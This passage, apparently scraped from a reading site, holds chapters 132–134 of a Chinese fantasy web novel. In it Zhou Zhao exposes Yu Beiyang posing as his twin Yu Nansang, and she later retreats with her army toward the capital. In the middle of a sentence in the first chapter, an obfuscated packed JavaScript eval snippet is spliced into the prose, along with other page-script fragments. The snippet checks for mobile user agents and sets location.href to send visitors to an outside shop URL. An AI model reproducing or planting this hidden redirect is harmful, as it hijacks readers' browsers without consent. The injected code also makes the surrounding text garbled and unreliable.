破庙之中,来人第三次表明身份:“虽然我的确是于南桑,但不认识什么江梅棠。” 于南桑跟江梅棠长了张一模一样的脸。 除去他头发是黑色,眉心有一点朱砂痣,几乎就和江梅棠没有丝毫区别。 就连周身疏离的气质也像得出奇,不过若是很熟悉的人,其实也能发现一点儿细微的差别。 江梅棠跟这位“于南桑”虽然都不是活泼性子,但江梅棠是千年寒冰看一眼都能冻死人,更不要说跟他亲近。 “于南桑”顶多算个生人勿近的冷泉,好好坐下来聊一聊还是愿意多说两句。 最重要的,是江梅棠身上总萦绕着那股“何事秋风悲画扇”的淡淡清郁。于南桑却没有。 周昭觉得这短短一时三刻自己简直要死去活来。她好不容易找到瀛洲,找到这么一个人,但他竟然说自己不是江梅棠? “当年周朝灭国,我恰好闭关期满,路过人间,见遍地战火,心中不忍,所以在祭天台救下你。”于南桑说话的声音也比江梅棠更柔和些。 周昭尚且沉浸在“这人到底是不是江梅棠”的情绪里不能自拔,沈云起便充当了众人的嘴替:“你不是月临国的太子殿下吗?难道你一点儿都不恨周朝?” 于南桑略微勾了勾唇角:“我已修行得道,本就不该再过问人间事。何况花开花落,阴晴圆缺,世间万物都有其运行的法则。如果我仗着手中神器帮衬其中一方,那岂非逆天而行?逆天,终究会被反噬。” 渡舟似乎又有些头痛,刻薄道:“不好意思,我这人就爱逆天。不过我不是神,不用守你们那些个规矩。你们慢聊,这里神的光芒太普照,晃得我眼瞎头痛。” 渡舟抱着双臂出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285258|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破庙,拿着昆仲去逗那小池里两尾红鱼。昆仲又在五颜六色地表示抗议,可惜抗议无效。 陆轻苹腹诽道:“怪事,平常主君对这位殿下半步不离,怎地眼下来了位态度不明的外人,主君反而出去了……” 周昭慢慢缓过神,她心有狐疑,接着于南桑的话问道:“你说,是你救了我?” 于南桑点头道:“你是不是想问为何你没有一点儿记忆?我虽然勉勉强强把你救活了,但那时候你全无求生意识,无奈,我只好将你的一片魂魄连同前世的记忆剥离出去,给你取名远洲,意在忘记周朝那段过去。” “可是,你为何要救我?我们......素不相识。” 于南桑反问道:“救一个人,需要理由吗?” 周昭步步紧逼:“槐鬼是怎么回事?我为什么又变成哑奴出现在九洲城?刚才那处幻境又是怎么回事儿?” 她情绪激动,沈云起在她后背轻轻摸了摸,小声道:“别急,这位神君看着不像坏人,听他慢慢说。” 周昭冷笑道:“慢慢说,我等得了,地下那些亡魂等不了。” 于南桑被她这样拿话刺,也难得保持着温润的君子之态,一五一十道:“槐鬼之事,后来我查过,的确是月临国后人所为。” 周昭打断道:“他是不是叫江梅棠!” 于南桑看了她一眼,淡淡道:“或许吧。凡人的名字,我不太能记住,只知道他是你们周朝的国师。” 这话一锤定音,周昭像一条砧板上待宰的鱼,来来回回挣扎了这么久,在心里反反复复劝了自己无数回,终于被于南桑一句话砍成血淋淋的两截。 “所以我救你,冥冥之中也算还了月临的债。”于南桑脸上悲悯的神情倒真是跟那尊被周昭砸成一堆碎土的红鱼仙君有些相似。 “你失忆后,我便教你读书习字,教你修习法门......至于后来的事情,出了一点差错。当年人间死去的人太多,我修行闭关,留你在山中看守,等我回来时才发现魇鬼那厮将你诱骗至人间。对了,我回来的路上遇到白赭,跟我说你在人间,跟无相城那位不人不鬼的妖主很是亲密,就是门口看大门那位吗?我瞧着不像好人。” 周昭一时哑然,不知道该怎么给一位神君解释无相妖主其实还好。对她很好。 不过,于南桑的话看似毫无破绽,但是有一点值得怀疑:“这红鱼仙府供奉的可是仙君你?但我们来到这红鱼镇,一不小心进了这茶馆,又不偏不倚刚好看了一段儿皮影戏,见到了我说的那位……江梅棠。难道仙君这位并不很熟的月临国人,在你的地盘上操纵幻境,仙君竟然毫无察觉吗?” 于南桑先是莫名其妙地笑了一下:“远洲,你从前都叫我师父。” 周昭一时被这人脸上淡淡的笑容晃了神,有那么一瞬间她真的觉得这就是江梅棠,她怎么可能有两位师父呢? 于南桑很快说回正事:“你说的那人,其实我已经抓到了。他一手酿成人间血流成河,魂片泛滥成灾,理应千刀万剐。我一时心软,念及他是我月临国人,没有第一时间杀了他,只是将他囚禁在北边一座山上。但他知错不改,得知你不在瀛洲后,竟跟妖邪勾结意图杀你。刚才这幻境,只是他变化的一些手段,他的真身仍被我囚禁,师父现在就可以带你过去了结此事。” 事情简直顺利得让人不敢相信。周昭听到江梅棠已经被囚禁,心中突然涌现出一种莫名的感受。就好像那些少年岁月连同师徒情分不可自抑地死灰复燃了一下,继而又被横亘其中的国仇家恨冲淡得七零八落,只剩下一滩丑陋的污泥。 “那……躁动的魂片怎么办?若这些戾气流向人间,后果不堪设想。” 于南桑望着周昭脸上的悲天悯人罕见地愣了一瞬,随即道:“哦,你说魂片。不用担心,师父已经找到解决的法子。既然你已经全都想起来了,为师也不便再拘着你那片魂魄,免得夜长梦多。” 一股无能为力的怒火从心头蹿上来,周昭的手已经按在剑上:“带我去见江梅棠,我要亲手杀了他!” “可以。”于南桑说着便抬脚往外走,看见渡舟时二人的视线似乎若有若无地触碰了一下,旋即分开。 经过顾绍身边时,周昭突然道:“师父,长淮还有得救吗?” “长淮他……” 周昭脸色骤变,低喝道:“你不是于南桑。” 132. 第 132 章 于南桑迈过门槛的脚步顿了顿,不着痕迹地转身掩饰住那点儿一闪而过的错愕,回过头,温声道:“远洲,你在说什么?” 周昭逼视道:“你不是于南桑。你到底是谁!” 于南桑压根不认识谢景,要不是周昭刚才灵光一现,用顾绍诈他一诈,差点儿就被骗了! 她说着伸手去抓那片雪白的衣袖,于南桑身子轻飘飘一跃,便从她手底下躲开十余步,站在离她稍远点儿的地方:“远洲,我是师父。” 这话语意不明,周昭却听懂了。 于南桑唇角有点僵硬地往上抬了抬,这对师徒四目相对,周昭觉得月光下那一眼,漫长得足足有一千年光阴,实际不过短短一瞬。 渡舟握着昆仲在掌心转了个圈儿,飞身上前喝道:“魂魄在哪儿!” 于南桑退了半步,竟直接上手抓住昆仲向后一拉,旁人碰也碰不得的妖主神器,就这么被他握住另一端,渡舟生平第一次在打斗中被人碰到昆仲,不由一愣,很快反应过来,耀眼的灵光在骨箫周身爆开。 于南桑不得不松开手,谁料紧跟着便是一记杀招直逼渡舟面门。若是外人看来,这一击来势汹汹,能躲则躲,周昭却清楚地看出来,这是从前江梅棠教过她的那一招声东击西,要的就是敌人露怯再从旁夺刃,不由叫道:“小心!” 她这一喊,也不知分了谁的心。 只听轰得一声巨响,眼前白光炸开,地面也跟着颤了两颤。那装了两条红鱼的小池里冲出一丈多高的水柱,然后才淋了众人一个落花流水。 接着又是一阵兵器相接的混乱,风摇树动,压根看不清谁是谁。待尘埃落定,哪里还有于南桑的影子。 但总人数却没变。 不知从哪儿凭空冒出来的白赭,握着一柄青光正盛的长剑,眼珠子死死地瞪着好整以暇的渡舟,一反常态,很有失风度地骂道:“好歹毒的心肠!” 他虽然是在骂,但语气不凌厉,声量不高大,表情也不算狰狞,充其量算是庙里的和尚急了眼,“蹦”地把木鱼重重一敲,告诉别人“我生气了”。 换句话说,一看就没骂过人。 再说白赭那日出现在无相城,风度翩翩人畜无害,就算礼部尚书李知远在场,高低也要夸一句。 可眼下白赭却全然不是那么回事儿:衣裳破破烂烂,头发乱得像鸡窝,脸蛋黑得像锅底。 渡舟先是顺嘴回了句:“是啊,你今天才知道。”然后对着白赭那身破烂行装打量一番,颇为赞赏地说了句没头没尾的话:“没看出来,你挖坟倒是有一手。” 这话不知怎地戳中了白赭肺管子,这会不是和尚敲木鱼,而是壮士拔杨柳,脸也跟着憋红了:“好啊!原来是你害我!” 剩下众人面面相觑,压根听不懂这二位的意思。 这话得从无相城暴动那晚开始说起。 那日白赭从无相城离开,前脚才把瑶姬魂魄安置好,后脚便被人打了一闷棍。 那人下手极黑,打得他头现在还痛。白赭是在一个黑黢黢不见光的地方醒来的,他堂堂一方神君,竟然在那地方半点儿法力都使不出来,拿剑挖了足足五日才见到光明,出来后才发现那是个地洞。 白赭虽然听说过无支山,但却不知道无支山其实是地下一座山脉连绵的墓穴,所以他出来后一时也没往渡舟身上想。紧跟着白赭便收到一瀛洲来的信,信上说瀛洲即将要有一场浩劫,故向他求助。 刚好白赭挖出来的地道就在瀛洲边上,他马不停蹄赶来,刚好卷入这场混战。 此时仇人见面分外眼红,渡舟大言不惭道:“是我,你才知道吗?” 白赭杀了渡舟的心都有,还想再打,谁知刚举起剑便水灵灵地吐了口血,洒在那方小池里染得一片红艳艳,他撑着池子里的假山,边吐血边道:“要不是我赶来,他就真被你这妖孽杀了!” 渡舟哼了一声:“他倒是几张桌子轮流下注,要是真能杀的死他,倒是省去些麻烦。” 周昭等人听得满头雾水,忍到现在已经很给面子,问道:“到底怎么回事儿?人呢?” 白赭刚要说话,渡舟便抢先一步:“人跑了。” 周昭看了看白赭,渡舟又抢道:“他跟于南桑一伙儿的,就是他把人放跑了。” 白赭:“……” 周昭没说信了也没说不信,眼神在这一神一鬼之间流转,正僵持间,看神仙打架看傻了的沈云起很小声地问道:“你……你不会是白赭吧?” 白赭竟然还有心思理了理仪容,将头发上的杂草摘去,很友好地冲沈云起打了个招呼:“姑娘好,在下行不更名坐不改姓,正是白赭。” 沈云起尚未回礼,陆轻苹便将人拽过去,目光戒备。白赭无辜道:“喂,我好歹是个神,难道我会对你们怎样吗?” 陆轻苹也不知是因为变成上官让他勇气十足,还是纯粹看不惯白赭,反正那很久没出现过的油腔滑调又冒出来,嘴贱道:“那谁知道,阁下不也跟瑶姬那样杀人的厉鬼不清不楚吗?” 白赭还要再说,被一声不高不低的怒喝打断—— “都住嘴!” 周昭冷冷地在每个人脸上扫了一圈儿,白赭哑了声,连渡舟都放下昆仲,姿态挺拔,原地站好。 周昭也不知怎地火气这么大,但火已经发出去,只好维持着面子上的冷然,看着渡舟道:“渡舟,跟我进来一下。” 周昭率先转身往那间破庙里走,渡舟只得跟上。刚进去,周昭便关上门,二人不知说了些什么,过了阵子,渡舟出来了,指了指里面,然后冲白赭那光长脸没长脑子的蠢蛋递了个眼色,白赭一脸莫名其妙,抬脚进去了。 陆轻苹算是看懂了,这位是要分而击之,防止串供。 白赭一进那庙,看见之前被周昭砸了个稀巴烂的佛像,心里忍不住一抖。旋即又莫名其妙地想:“我一个神,怕这小妮子做什么......” 谁知白赭口中的“小妮子”一开口就将白赭吓了个透心凉。 她先是很有礼数地冲他点点头,唤了声“白赭神君”,白赭这边还没来得及还礼,对方便话锋一转:“你知不知道我是周昭?” 白赭说知道也知道,说不知道也勉强算是不知道。 昆仑跟瀛洲不同,瀛洲好歹还因为曾经有难民在此安居,有那么 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白赭其实并不想回答这个问题,一来他不愿做背信弃义之人,二来他也不想给自己添麻烦。 白赭打定主意准备胡言乱语,突然抬头触碰到周昭的眼神,心头不由一颤。 坐在他面前的不是个柔柔弱弱的女子,而是曾经手握天下的帝王。如今那古老的旧国早已化作泛黄的史书上薄薄一页,死去的人说不定已经投胎转世几个来回,唯有她还站在深渊之口,生死之界。 白赭突然想到在瀛洲见周昭的第一眼,等反应过来时自己已经张了口:“是。” “他是不是于南桑?” “......不是。” 周昭抬起右手交叠在左手背上,不容置喙道:“你刚才说渡舟害你,他怎么害你了?为什么要害你?” 白赭一时上头:“那妖孽偷袭我!” 周昭趁热打铁:“什么时候?” “就在无相城那回。” 说完又觉得不对劲。 渡舟跟他无冤无仇,犯不着打他一闷棍埋进土里。这种做法除了能结仇,毫无用处,甚至等他出来之后,一定会找渡舟要个说法。 如今瀛洲、昆仑和蓬莱三地各有一方信徒,起初无相渊是由三地轮流镇守,后来多了渡舟这位脾气古怪的无相妖主,一发疯杀了鬼王成业,他们也就不好再闯入人家的地盘。 于情于理,渡舟都没道理下黑手。 只可能有一个原因:渡舟不想让他掺和到瀛洲的事情里面来。 白赭果然光长脸没长脑子,见周昭双目如炬,反应过来自己应该是将外头那位给卖了。渡舟对这里头的脏事了解得一清二楚,怕他“帮亲不帮理”,所以先下手为强,一棍子将他种到土里。 白赭不禁想到刚才那稀里糊涂打的一架,此时回想才觉得里面水分太大。恐怕拦住他这件事,不光是渡舟一个人的手笔...... 周昭见白赭眉头紧锁,觉得火候差不多了,打开门放其他人进来,对白赭道:“神君,说说吧。这瀛洲,如今到底是哪位做主当家?” 133. 第 133 章 月临地处周朝之东,虽然小,但胜在人杰地灵。 传说此处是当年玄鸟毕方的眼睛所化,才有这么一方钟灵毓秀。月临国并不像中原王朝世代承袭,而是百姓推贤为王。 在遥远的中原,周朝成祖皇帝那一时期,八岁的成祖刚刚从先皇手中接过动荡不安的朝局,月临国已经出了位惊天动地的神君—— 月临太子殿下于南桑。 成祖起初并没有注意到鸽子蛋那么大点儿的月临。直到他一鼓作气征服四海,八方来朝时,臣子们歌功颂德“普天之下莫非王土”,成祖才把视线头一回放在了那还不属于“王土”的月临。 成祖虽然一心“收归”月临,但出师无名,恐落人话柄,渐渐变成了成祖的一块儿心病。 后来,兴许是月临也感受到了比邻庞然大国的虎视眈眈,忙不迭地派来和亲使臣,愿与大周结百年之好。为表示诚意,还特奉上天下仅此一颗的长生不老丹。 成祖怎么想的,已经不得而知。他似乎对和亲不感兴趣,甚至对对长生不老丹也没多少好奇。成祖还年轻,满脑子都是雄图霸业,都是怎么补上大周那缺掉的一角。 后来成祖不知怎得又同意和亲,选了位适龄公主远嫁月临。正如那皮影戏中所唱,公主横死,成祖发兵,三下五除二就占领了月临。 成祖时期周朝大一统,除了皇帝周戈言文能治国武能安国,有一部分原因,也得益于这位皇帝一向优待俘虏,对于收回来的领地划分为周朝的郡县,原来的国主统称为地方节度使,职位世袭。 可月临不同,周戈言不仅将月临国中道士全部送往盛都城外修建工事,连月临国皇族也流放三苗荒凉之地。但这事儿毕竟不光彩,周戈言便在史书上动了手脚,刚好因为青葵的缘故,月临连着三苗那一片北疆荒地的确也被风沙掩埋,于是这段历史便被悄无声息地抹去了。 “这些月临皇族据说也没死绝,跑到了一片深山老林里过日子。”白赭话说得不清不楚,周昭看他似乎的确不知情,心道:“白赭倒是跟行人岭的圣女说的差不多,不过月临好歹也出过神君,难道那位传说中的东华真的放任自己故国被灭,一点儿不在乎吗?” 她正这么想,白赭便接着道:“东华是个很有原则的人,光风霁月,两袖清风,从不掺和人间这些事儿。修道之人讲究个顺其自然,如果强行插手,反而会引来无法想象的后果。可惜......有个人不明白这个道理。” 白赭毕竟是东华好友,说到这里有些心虚,但话赶话,悬崖勒马也来不及,只好接着往下说:“世人皆知东华神君,是月临国太子殿下,却不知道当年月临王后产下的......其实是一对双生子。” 渡舟微不可察地挑了挑眉,不过并不像是对于“双生子”这件事的惊讶,更像是觉得白赭是个蠢货。 “月临道士多,所以神神鬼鬼的东西也多,不管是民间还是皇族都认为双生子不详。所以当时的月临王后便私自将这件事隐瞒下来,大的那个就是众人熟知的太子殿下于南桑,小的那个叫于北杨。” 周昭心中像是被什么东西轻轻扎了扎,不重,但是很难不注意到。 白赭长长地吐出一口气,眼皮跳得厉害。 就像发现远洲是周昭是个意外,发现于南桑有个双生兄弟……其实也是个意外。 那时候周昭已死,白赭收到一封瀛洲来的信,信上说要他帮忙救一个人,落款是东华。 那是白赭第一次见周昭,但并不是他第一次见于北杨,只是从前于北杨都是顶着于南桑的名字出来,两兄弟长得一模一样,白赭竟然从没发现过。 直到那一次,白赭觉得于南桑跟平常不太一样,整个人好像丢了魂,他问那具尸体是哪儿来的,“于南桑”抖了一下,似乎听不得尸体这两个字,半晌才抬起一双泛红的眼睛,问他:“帮我救活她。” 白赭差点儿以为自己听错了,他虽然懂些行医法门,怎么可能把一个死人救活。 “于南桑”抱起那女子就要往外走,白赭瞧出几分不对劲,想拦住他,谁知“于南桑”竟然要对他动手。两个人你来我往过了几招,“于南桑”也没把那女子放下。白赭以为他中了邪,伸手去摸脉,这一摸之下大惊失色,所谓的东华神君竟然全无神识,一身横冲直撞的戾气在他手指底下叫嚣。 ...... “......所以,其实是于北杨,对吗?”周昭勉强找回些自己的声音。 白赭从回忆里缓过来,点点头,一时不知道说些什么,干巴巴地劝慰道:“前人的事过去就过去了,北杨那时候年轻气盛,如果做过什么对不起你们周家的事情,我代他向你道歉。” 白赭只约莫猜到,当年周朝那位皇帝被五马分尸是于北杨干的,并不知晓后来他以国师身份潜入周朝,所以这句话在他看来不算过分,落到周昭耳朵里却格外刺耳,她冷冷地笑了一声:“他自己不敢来见我,连这轻飘飘的道歉,也要你代劳?” 白赭梗了一下,心想:“这位好大的脾气,当年周戈言也没见得干多少人事,死了个隔了多少代的祖宗,犯得着吗?” 这些话在心里过了一遍,又见周昭带着这么一位不好惹的刺头妖主来瀛洲算账,一心想当个和事佬,又劝道:“他好歹救过你,如今身子......” “说完没?澹溪在哪儿,带个路。”渡舟不耐烦地打断白赭的话。 白赭睁大眼睛道:“去澹溪干什么?” 渡舟转了转手里的昆仲,眼神很是鄙夷:“麻烦你低一低高贵的头颅,看看周围。” 白赭此时才注意到红鱼镇全然没有往日的生机,他的语气一如既往的天真:“这些人都搬走了吗?” 渡舟懒得理他,走到顾绍面前打了个响指,对陆轻苹道:“他等会儿就醒,你们留在这,不必跟来。记住,不要走出这间庙。” 陆轻苹拉住沈云起,又往回退了两步:“主君万事小心。” 烛龙跟般般跃跃欲试,被渡舟按住脑袋推回去:“你们也留在这儿,免得当累赘。”周昭回头望了这红鱼仙府一眼,问道:“魂片都在澹溪?” 渡舟摇头道:“我猜的,去看看。” 白赭虽然不明不白,还是跟着往澹溪的方向去。一方面他时刻提防着渡舟搞事情,一方面又琢磨着于北杨提前给他那封信是几个意思。 三人心思各异,只有踩在落叶上清脆的脚步声接连响起,在这空荡荡的小镇子里格外瘆人。 没走多远就到了河边,那条溪流被夜色蒙上一层幽暗的黑,走近了才能看出溪水的确清澈,只是水中并没有传说中的红鱼,一眼就能望到底。 渡舟站在风口上,衣袖迎着风飘,吹得他脑袋后面那根发带也跟着乱飞,周昭晃了晃神,才看出渡舟恢复了本相,瞳孔从刚才的黑色变成了琥珀色的浅瞳。这意味着渡舟准备要打一架,或者说他预感要打一架。 渡舟冲白赭抬了抬下巴,一脸傲慢:“看出什么来了,活神仙。” 这个称呼既不那么正儿八经的尊重,也不十分的贬低,落在人耳朵里不上不下的难受,想发火都没地儿发。白赭天生脾气好,还没跟渡舟算完那一棍之仇,此时已经认认真真观察起来。 半晌,无果。 “没看出什么,这里有什么问题吗?”白赭忍不住,又问,“你们千里迢迢来瀛洲,到底想干嘛?” 周昭心里对这位神君起了几分怀疑,道:“人间出现了一些戾气极重的魂片,我们一路追查到这里,断了线索。” 白赭松了口气:“所以你们不是来找北杨麻烦的?吓我一跳。我就说嘛,师徒哪有隔夜仇……等会儿,你说什么?魂片?” 白赭又绕着河道走了几步,闭上眼睛又是掐决又是念咒,待睁开眼时脸色变了变,低声道:“这水有问题。” “什么问题?”周昭问道。 “这水底下……似乎藏着什么东西。”白赭正色道,“但不在这里,咱们往上游走走。” 他走了两步又回头,狐疑地看着渡舟:“你是不是早就知道这水底有东西?” “我说了,猜的。”渡舟云淡风轻,顺手脱了身上那层外袍盖在周昭双肩,温声道:“河边风大。” 白赭无端被腻歪了一脸,打了个哆嗦,头头是道地暗中分析:“这位无相妖主恐怕一早就知道这里头有问题,说不准是他跟北杨早有什么约定,要来把这澹溪的水搅他一搅。北杨一面答应他,一面又不放心这人,所以才留了后手写信给我……” 他一边胡思乱想一边顺着河道往上走,差不多走了一刻钟,白赭抬了抬手:“就是这里。” 渡舟装疯卖傻:“这里怎么了?” 白赭突然动手把外衣脱了向周昭走过来,渡舟单手挡住他,语气不善道:“发什么疯?” 白赭无辜道:“我只是想让你们帮我拿一下衣服。” “给我吧。”渡舟从他手上接过,白赭突然转身跃入水中,他刚下水,渡舟就把手里的衣服扔了。 周昭一时不知说什么好。 渡舟这幅样子明明就是什么都知道,偏偏不告诉白赭,故意整他。不过她觉得就他们两个人站在这里也不错,没说什么。 她不说,渡舟反而提起话头:“明鸢,我……” “被我找到了!”白赭从水底冲出来,“这水里果然有东西!” 据白赭所说,这条澹溪水底埋着数以万计的魂片,但都被一道极为高深的禁制隐藏着。 “若不是这道禁制出现了裂痕,我也不会这么快发现。”白赭随手从地上捡起自己的衣服拍了拍灰,一脸凝重道,“你们是追查魂片而来,也就是说这些东西已经跑到人间去了?” 周昭点了点头,简要将之前几起案子描述了一遍,又道:“所以有没有什么办法将这些东西解决掉。” 周昭知道希望不大,否则渡舟一个人就能解决,也不会容许白赭跟来。 果然,白赭先是思索片刻,才谨慎道:“这世间万物自有平衡之法,这些戾气既然生出来了,不可能凭空消失。下这道禁制的人想必也——” 白赭忽然闭嘴。 瀛洲是谁的地盘? 又是谁下的禁制? 他一时不知道该说哪个,渡舟便接话道:“于北杨想让我们帮他把这些东西弄干净。” 白赭微微睁大眼睛,这回看清楚了渡舟的意思。 周昭脸上掠过一丝不易察觉的困惑,瀛洲是于南桑的地盘,要说能下这等禁制的人,排在首位的也该是于南桑才对。 于南桑到现在都没有出现,虽然白赭将他夸得天花乱坠,周昭却没全信。 “明鸢,这些魂片你都很熟悉……”渡舟不忍将话说得太明显,但其中的意思周昭听懂了: 这都是周朝那些年四方战场上,死不瞑目的亡魂。 “于北杨被这些戾气所扰,日日不得安眠。我跟他谈了个条件,若是把这些戾气消除干净,他便将第三片魂魄还回来。” 周昭气极反笑:“天底下哪有这样的好事儿?这太危险了,我不同意。” 白赭纳闷道:“你现在还缺一片魂魄吗?绕这么大弯子做什么,月临虽然跟周朝有过节,你师父对你却很好,他怎么会不给你呢?” 周昭反问道:“他对我好?怎么个好法?是剥去我的记忆将我困在仇人身边一千年,还是费尽心机将我引来瀛洲,又冒充另一个人的身份想让我们来搅这趟浑水。” 白赭置身事外,不明白周昭这满腔愤怒从何而来。但他也知道“未经他人苦,莫劝他人善”,没硬接周昭的话,心中盘算着怎么抽出身去见于北杨一面,问问他给的那封信到底是什么意思…… 周昭一腔怒火发出来大半,剩下一小半因为白赭没还嘴所以堵在心里,冷不丁地又重复一遍,态度强硬:“总之,我不同意你跟他谈的这 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“什么?”白赭不明所以,渡舟则没搭话。 周昭心里的不安越来越明显,不由自主朝渡舟靠近了两步,才道:“这里既然是瀛洲的地盘,咱们来了这么久,主人呢?” 周昭说的自然是那位真正的东华神君于南桑。白赭松了口气,道:“你说东华?这不是冬天嘛,估计北杨咳疾又犯了,东华定是远赴蓬莱或是哪儿采药去了。他肯定不在瀛洲,否则你们进不来的。” 周昭有意无意道:“白赭神君,你说东华到底是真的不在,还是被故意支开的。再说堂堂神君,真的会不知道自己的地界藏着这么多魂片吗?他是不知道,还是任由自己的亲弟弟胡作非为?” 白赭一时没反应过来这话什么意思,周昭又道:“于北杨自己没法子压制当年种下的果,他亲哥哥也没法子,就想用一片魂魄让我们为他兄弟二人卖命,我没那么傻。” 她朝河岸走了两步,望着那暗流汹涌的河水,平静道,“这人间,早就是一团黑。就像这水,看上去清澈见底,泥沙底下不知藏了多少见不得光的东西。人吃人,人杀人,母子相杀,兄弟相残,部下毒害将军,丈夫忍痛杀妻......我凭什么要为这样的人间牺牲我爱的人。周朝的天下,我管。如今这天下,是死是活,与我又有什么相干!于北杨,你听见了吗?” “我不是当年那个你让我做什么,我就做什么的小孩子了,于北杨,你是不是就想看我变成今天这副样子?如你所愿,这人间……我周昭不渡了。” 周昭说完转身就走,她怕再晚一步,那河水里就会长出千万只手将她拖入深渊。她走得又快又急,身后那条埋藏了万千亡魂的河水,一如既往地向东奔流。 它呜呜咽咽,像是在吟唱一首遥远而古老的歌谣。 琴瑟五十弦,沙场北风起,都静静地和进这河水浅唱低吟,目送着她渐渐远去。 渡舟听到那句“我爱的人”愣怔了半晌,他站在原地竟有些手足无措,等周昭说完,才想起来要追上去,却看见那道挺得笔直的脊梁骨突然间卸掉周身的力气弯下去。 “别过来。”周昭轻声道,“先别过来......” 周昭其实并不怎么想要那片魂魄,但她没办法对着渡舟说。 她可以骗自己不管这天下死活,可以骗于北杨不渡这人间。但她答应过渡舟。 君无戏言,不能骗他。 都说周昭是天命之女,可老天爷偏偏总爱让她选,从前是选杀姜国人,还是杀周朝的百姓。现在是让她选往前走,还是往后退。 往前是一条死路,往后是死路一条。 渡舟等了半晌,白赭冲渡舟使了个眼色:“哄哄去。” 渡舟并不觉得,白赭这位闻名无相城的负心汉能给出什么好的建议,没功夫搭理他。 虽说身正不怕影子斜,谁让渡舟还真就“身不正”。 他的确很早就搭上了于北杨这条暗线。 于北杨答应交给他周昭的魂魄,条件是解决掉澹溪的魂片。本来按照刚开始说好的,于北杨会以于南桑的身份出现,到澹溪之后跟他一同处置这些魂片。 渡舟对此持怀疑态度。要是能这么容易就处置干净,还千方百计引他们来瀛洲做什么。 但于北杨似乎胸有成竹,只说他会想办法引开于南桑。 渡舟半信半疑,表面答应得好好的,转头先给了白赭一闷棍,敲进土里埋好。这纯粹是出于身份对立,保险起见。在渡舟看来,这些冠冕堂皇的神君都穿一条裤子,不可信。 果然,于北杨虽然按商议好的支开了自己的兄长,却对他留了一手,还是把将白赭召来了。 谁知出了岔子,于北杨甚至还没走出那间庙就被周昭识破了身份。渡舟下手不留情,看见白赭来了才收敛几分,让那于北杨跑了。 至于后面渡舟跟白赭说的那些,完全是他自由发挥,半路拉个垫背的。 他有种预感,于北杨一定还会出现。 渡舟看得出来刚才周昭是说气话,但他不一样,他是真心认为“天下是死是活,与我有什么干系”。 他从头到尾放在心尖上的人,不过一个周昭罢了。 周昭要渡人间,他只想渡一个周昭。 可惜周昭心上永远放着天下苍生,放着黎明百姓,渡舟只好将她心上那些沉甸甸的东西,往自己身上挪一点,再挪一点。 渡舟朝着周昭那道清瘦的背影走了几步,心里的话都想好怎么说了,想着这句话,唇角便浮现了一点儿淡淡的笑意,唤了声:“明鸢,我过来了。” 话音刚落,一个足有小山那么高的火球,夹杂着让澹溪都要沸腾的热浪扑面而来。 周昭听见渡舟在叫他,刚回过头,瞬间被卷进这无边无际的火海。 134. 第 134 章 “陛下!前面就是永安门!咱们……咱们回来了。” 周昭的亲兵牵着狼牙,一说话便有两道冰柱子一样的泪水从眼眶里滚下来,说话也说不利索,整张脸黑得像刚从烧柴火的炉灶里扒拉出来,只剩一双眼睛从盔甲下面露出来。黑是黑,白是白,眼底还粘连着一片血浸浸的红。 狼牙本就是一匹略带点儿红色的千里马,如今更是红得让人胆战心惊,简直像从血水里爬出来。 马背上趴着的人闻言缓缓抬起头,她的嘴唇裂开了无数细小的口子,发丝粘在脸上,握着缰绳的手包着一块脏污的布条,血渗出来又滚进马身上的鬃毛。 周昭身后不过几千人。 桦城惨败,大咸关失守,他们一路节节败退,不眠不休七天,这支由天子亲率的玄甲营终于回到盛都。 腊月十二,不光谢景没有出兵,凉州就像提前知道消息,早早地就埋伏在对岸。 周昭虽然给北疆送去密信,万一黎国出尔反尔想要浑水摸鱼,一定要第一时间断了晋川那条路,再南下驰援。 但所有人都没料到的是,腊月十二的北疆风平浪静,黎国兵马丝毫未动,燕飞监视到半夜觉得不对劲,立刻率军南下。 谁知燕飞这一动,不知怎地让黎国如临大敌,就跟疯了一样奋起反扑。等燕飞从晋川之战抽出身来,汴江的炮火已经响彻一夜。 之所以没有全军覆没,是因为行军前夜周昭不放心,留了两万玄甲营没有渡江。 就是这两万人,硬是杀出条血路,从桦城护送周昭回城。周昭是在半路醒来的,亲兵说燕大将军已经率军从北疆赶来,途中遇到黎国军队鏖战数日,目前还没有收到最新战况。 周昭刚听完这个消息又体力不支昏迷过去,梦里想起来是赵六子用自己的身躯将她托出江水,一遍遍跟她说不能睡。 周昭果然没再睡着,一个激灵从噩梦中醒过来。 此刻周昭遥望远方,似乎看到了“永安门”三个铿锵有力的大字,本来应该心安,她却陡然想起五年前永安门下的那场暴乱,心里一惊,手中马鞭滑落在地。 那士兵捡起来马鞭恭恭敬敬地递给她,脸上的泪已经止住了,声音还有点抖:“陛下。” 周昭接过马鞭,低头看了眼那个士兵,不大熟悉,便问:“你多大了?” 士兵赶紧伸手在黑脸上抹了一把,站直了,周昭抬起马鞭示意他不必拘礼,继续往前走,士兵挠了挠头,说:“回陛下,再有几天,我就满二十了。” 周昭嗯了一声:“及冠之年,是个好年纪。” 士兵的脸黑得七荤八素,还能看出来一点儿即刻黯淡下去的情绪,低声道:“可我家里人都死绝了……” 周昭没问,到底是因为槐鬼死的还是因为战争,她淡淡道:“回头,朕送你一副冠礼。” 如果还有机会的话。 士兵还没来得及高兴,突如其来的喊杀声便震破黎明,将黑压压的云层撕开一道口子,雨丝悄无声息地飘下来。 ...... 敌人比燕飞战死的消息先一步来到盛都,周昭带着残部杀红了眼,她身后就是盛都,半步也不敢退。 就到这里了吗?周昭心想。 这风雨飘扬中的王朝,气数真的尽了吗? 也是怪事,周昭忽然想起十二岁那年在灵念寺说的那句“事在人为,不言天命”,可能就是这句话让周昭突然间精神一振,连身上的伤仿佛都一点儿感觉没有了。 她头脑前所未有的清醒,迅速分析出局势: 如今虽然敌军兵临城下,但未必就是绝境。看似来势汹汹,但敌人的战线拉得太长了,长,便容易顾头不顾尾。 盛都是大周的主战场,城中尚有禁军守卫两万有余,如果能坚持到援军到来,光是粮草一项就能拖死对方。 